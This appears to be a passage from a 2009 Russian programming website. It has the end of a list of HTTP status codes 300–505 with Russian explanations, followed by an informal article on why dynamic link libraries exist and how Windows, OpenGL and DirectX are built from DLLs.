выполнения.
300 Multiple Choices.
Требуемый URL обращается больше
чем к одному ресурсу (документ на
множественных языках).
301 Moved Permanently.
Требуемый URL не правилен для
этого сервера, и произошла ошибка. Сервер
также посылает заголовок местоположения,
где ресурс теперь расположен и где клиент
должен указать его в будущем.
302 Moved Temporarily.
Требуемый URL не правилен для
сервера, и произошла ошибка. Сервер также
посылает заголовок местоположения, где
временно расположен ресурс и сообщение, что
сервер должен использовать это
местоположение только для этого запроса.
303 See Other.
Требуемый URL может быть найден в
отличном URL (указанным в заголовке Location) и
должен быть запрошен методом GET на том
ресурсе.
304 Not Modified.
Этот код возвращается сервером
на запрос "If-Modified-Since" в том случае, если
запрошенный документ не изменился. Тогда
программа просмотра использует его кэшированную
копию.
305 Use Proxy.
Требуемый URL должен пройти
указанный прокси.
Ошибочный
Запрос Клиента. Коды 400-499.
Запрос клиента не может выполниться, так
как содержит ошибки.
400 Bad Request.
В запросе клиента обнаружена
синтаксическая ошибка.
401 Unauthorized.
Для доступа к запрошенному URL необходима
авторизация, а в запросе отсутствует опознавательная
информация.
402 Payment Required.
не используется.
403 Forbidden. Доступ
к запрошенному ресурсу запрещен.
404 Not Found.
Запрошенный документ не
существует.
405 Method Not Allowed. Метод
запроса не поддерживается запрошенным URL.
406 Not Acceptable.
Ресурс, запрошенный клиентом,
существует, но не в требуемом формате. Это
может быть заданный язык или тип содержания.
407 Proxy Authentication
Required. Прокси-сервер
должен разрешить запрос перед его
выполнением.
408 Request Time-out.
Соединение будет разорвано
сервером.
409 Conflict. Запрос
находится в противоречии с другим запросом
или с конфигурацией сервера.
410 Gone.
Этот код указывает, что
требуемый URL больше не существует и
удален с сервера.
411 Length Required.
Для выполнения запроса необходимо указать
параметр Content-Length.
412 Precondition Failed.
Предварительное условие не
выполняется.
413 Request Entity Too Large.
Сервер не может обработать
запрос, потому что тело его объекта слишком велико.
414 Request-URL Too Long.
Сервер не может обработать
запрос, потому что запрошенный URL слишком
длинный.
415 Unsupported Media Type.
Сервер не может обработать
запрос, потому что формат тела его объекта
не поддерживается.
Ошибка
Сервера. Коды 500-599.
Запрос клиента вызвал ошибку на сервера.
500 Internal Server Error.
Запрос вызвал
внутреннюю ошибку сервера.
501 Not Implemented.
Запрошенное клиентом действие
не может быть выполнено сервером.
502 Bad Gateway.
Сервер получил недопустимый
ответ от другого сервера.
503 Service Unavailable.
Запрошенная служба в данный
момент недоступна.
504 Gateway Time-out.
Разорвана связь со шлюзом или прокси-сервером.
505 HTTP Version not supported.
Сервер не поддерживает версию
HTTP протокола, используемого в запросе.
|
Скрины:
Дата: 03.12.2009
Добавил: admin
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Программеры всех стран уже более 30 лет борются с проблемой
многоразового использования однажды написанного кода. Так уж повелось,
что 30-50% кода в простых офисных приложениях схожи между собой или
решают одни и те же задачи. Ни один программер не захочет каждый раз
снова кодить одно и то же. Как хорошо, когда можно использовать один
раз написанный код многократно ....
Я сам не люблю в каждой новой проге писать одно и то же. Как
хорошо, когда написал какой-то универсальный код, а потом только его и
используешь.
РЕШЕНИЕ 1
Самым первым решением этой проблемы стал модульный кодинг.
Ты пишешь какой-то кусок кода, оформляешь его в виде модуля, а потом
просто используешь в своих прогах. Все прекрасно и удобно, а главное,
что все довольны. Теперь не надо каждый раз выдумывать велосипед,
просто добавил к своей проге определенный модуль и без проблем
используй код, когда-то написанный тобой или кем-то другим.
Казалось, что это было самое простое и самое эффективное решение. Но
все было прекрасно, пока не появилась многозадачность. Вот тут
программеры заметили, что еще не все так эффективно и полно места, куда
можно приложить свои ручонки.
ПРОБЛЕМА 1
Давай представим ситуацию, когда один добрый чел написал
прекрасный модуль размером 1 метр. Другой добрый чел решил
воспользоваться его возможностями и подключил к своей проге. Модуль и
прога слились в одно целое. Вроде все нормально, но я же сказал, что
прога и модуль слились в одно целое. Это значит, что размер проги
увеличился на размер модуля, т.е. на 1 мег. Ни фига себе пельмень :). А
теперь представь, что другой чел написал другую утилу с использованием
этого модуля.... Его прога тоже увеличилась на 1 мег. Получается, что
на винте пользователя хранятся две проги, в которых по 1 мегу кода
одинаковых. И кому это нужно?
Ну, конечно же, насчет модуля в 1 мег я загнул. В те времена
даже 100-килобайтный модуль было тяжело найти. Но надо учитывать, что и
винты тогда были не бесконечные. Тогда крутым винтом считался диск в 20
метров. Это тебе не нынешние десятки гигов на одной пластине. Возможно,
ты тогда еще под стол ходил. Я сам застал такие машины только на первом
курсе института, а это было лет 8 назад.
ПРОБЛЕМА 2
Пока существовали только однозадачные ОСи, проблема с
излишней растратой дискового пространства была единственной. Но как
только задумались о многозадачности и в мыслях Гейтса появились идеи
создать Windows, так сразу возникла другая проблема.... Представь себе
ситуацию, когда ты запускаешь обе этих проги одновременно. При старте
любая прога грузится в оперативку и только потом выполняется. Так что
получается, что обе проги загрузят в оперативку один и тот же код. Вот
это уже абсолютно никому не нужно.
Это нынешним летом память подешевела в несколько раз, и теперь
лишние сто кило погоды не сделают. А раньше она стоила достаточно
дорого, и люди каждый байтик доставался потом и кровью. Но если ты
думаешь, что установка в свою тачку 500 мегов мозгов решит проблему, то
ты крупно ошибаешься.
Хотя память и дешевая, проги от этого меньше не стали. Если
посмотреть на запросы той же Windows2000, то сразу хочется взять
зонтик, вставить его Биллу в задний проход и раскрыть. Это что он там
такое натворил, что Windows 2000 Server просит для нормальной работы
минимум 256 мегов? А если учесть, что некоторые чипсеты не поддерживают
памяти более 512 мегов, то о нормальной одновременной работе Windows
2000 Server + 3D Studio Max + MPEG4 можно забыть. Они всю память сожрут
как термиты за пять сек.
РЕШЕНИЕ 2
И вот тут было найдено вполне солидное решение: не
стыковать модули с основной прогой, а сохранять их в отдельный файл и
пусть любая прога загружает его по мере надобности. Ляпнул, отвечай за
базар. Так появились библиотеки DLL, что означает Dynamic Link Library.
Это библиотеки, которые подключаются к программе динамически. В них
можно хранить исполняемый код в виде процедур или функций, ресурсы
проги, графику или даже видеоролики.
Вот так. Теперь прога не увеличивалась на размер модуля при
компиляции, а просто загружала код из DLL файла в память и использовала
его. Если одна прога уже загрузила DLL, то следующая прога не будет уже
этого делать. Она воспользуется уже загруженной версией. Таким образом,
экономится не только диск, но и оперативка, которой, как и денег, много
не бывает.
К СВЕТЛОМУ БУДУЩЕМУ
Сейчас уже DLL - это не просто динамически подгружаемая
библиотека. Ты, наверно, уже не раз слышал про компоненты ActiveX. Они
также могут быть выполнены в виде ocx или dll файлов. Да оно и понятно,
ActiveX используются сейчас достаточно много и весят они в несколько
раз больше, чем самая большая DLL библиотека. Так что единственный и
нормальный выход экономить место винта и памяти - это засунуть ActiveX
в динамически подгружаемую библиотеку. Хотя это уже не та DLL, но все
же работает по тем же принципам.
ЗАГРУЗКА БИБЛИОТЕК
У динамических библиотек есть единственный недостаток - на
загрузку тратится лишнее время. Зато если библиотека уже загружена
другой прогой, то она появляется намного быстрей. Не веришь? Отложи
сейчас журнал и возьми в руки секундомер. Теперь запусти Word или
Excel. Засеки, сколько времени будет проходить загрузка. Теперь закрой
прогу и запусти ее снова. Она появится на экране практически
моментально. Это потому, что после выхода из проги DLL-файл не
выгружается из памяти. Это происходит только тогда, когда окнам не
хватает памяти и ни одна из прог не использует в данный момент эту
библиотеку.
А теперь представь себе, что такое Word .... Представил? Это и
текстовый редактор, и проверка орфографии, и построитель диаграмм,
редактор формул и куча еще всякой всячины. Представь себе, что было бы,
если все это засунуть в один файл? Нет, ты это не можешь представить.
Это был бы один запускной файл размером в 30-50 мегов.
А теперь вспомни, что я тебе сегодня говорил: перед запуском
прога загружается в память. Представляешь теперь, сколько бы грузился
Word? А сколько памяти он сожрал бы? А тебе ведь и половина его
возможностей абсолютно не нужна. И зачем же их грузить в память?
При использовании динамических библиотек в запускном файле
находится только самое основное, а дополнительные возможности
подгружаются по мере надобности из DLL-файлов. Таким образом, суммарная
скорость загрузки уменьшается, причем очень даже значительно.
ИТОГ
У динамических библиотек сплошные преимущества и ни одного
существенного недостатка. Поэтому они получили такое широкое
распространение и программеры используют их на каждом углу, когда надо
и когда не надо. Никогда нельзя быть уверенным, что какой-то код уже
больше никогда не понадобится. Всегда нужно рассчитывать на будущее.
Я надеюсь, что я тебя убедил в великих возможностях DLL. Это
действительно так. Конечно же, ActiveX более продвинуты, но они требуют
геморрной регистрации в системе и намного сложнее в кодинге. Но если ты
разберешься с этим, то сможешь поднять свой уровень кодинга на новую
высоту.
Из чего же сделан Windows?
Все, наверно, помнят такую песенку: "Из чего же, из чего
же, из чего же сделаны эти мальчишки?". Глупейшая песня, и я со слезами
на глазах вспоминаю, как я в лагере (я имею ввиду пионерский, а не
концлагерь :) распевал ее вместе с остальными пионерами. Ох, и веселые
были времена. Жаль, сейчас так не развлечешься :(. О чем это я? Ах
да... Я хотел рассказать тебе, из чего состоит Windows.
Большинство думает, что Windows - это все, что находится в
папке c:Windows, а ее ядро - это win.com. В какой-то степени это так,
но не совсем. Ядро окошек - это простой DLL файл, а если быть
конкретнее, то это Kernel32.dll. При старте Windows эта библиотека
загружается в память в единственном экземпляре, и любая прога может
обращаться к содержащемуся в ней коду и использовать его в своих целях.
Точно так же за вывод графики в Windows отвечает GDI32.DLL, которая также загружается при старте в единственном экземпляре.
В Windows очень много дыр, но динамические библиотеки это достаточно гениальное решение многократно используемого кода.
Графические движки
Любой геймер обязан знать про существование OpenGL. Что это
такое? Какой-то пакет программ? Какой-то SDK для создания графики?
Ничего подобного, это всего лишь две динамические библиотеки opengl.dll
(opengl32.dll) и glu.dll (glu32.dll).
Что такое DirectX? Это графическая библиотека, которая состоит
из DirectDraw, DirectInput, DirectMusic, DirectPlay и так далее. Все
это не что иное, как простые динамически подгружаемые библиотеки.
DirectDraw это Ddraw.dll, DirectInput это Dinput.dll, DirectMusic это
Dmusic.dll и так далее. Любые игровые движки выполнены в виде
динамически загружаемых библиотек.
|
Скрины:
Дата: 03.12.2009
Добавил: admin
Комментарии: (0)
|
| |
|
|
|
|
|
|
Рассылка
|
|
Администраторов: 1 
Модераторов: 1 
Забаненых: 267 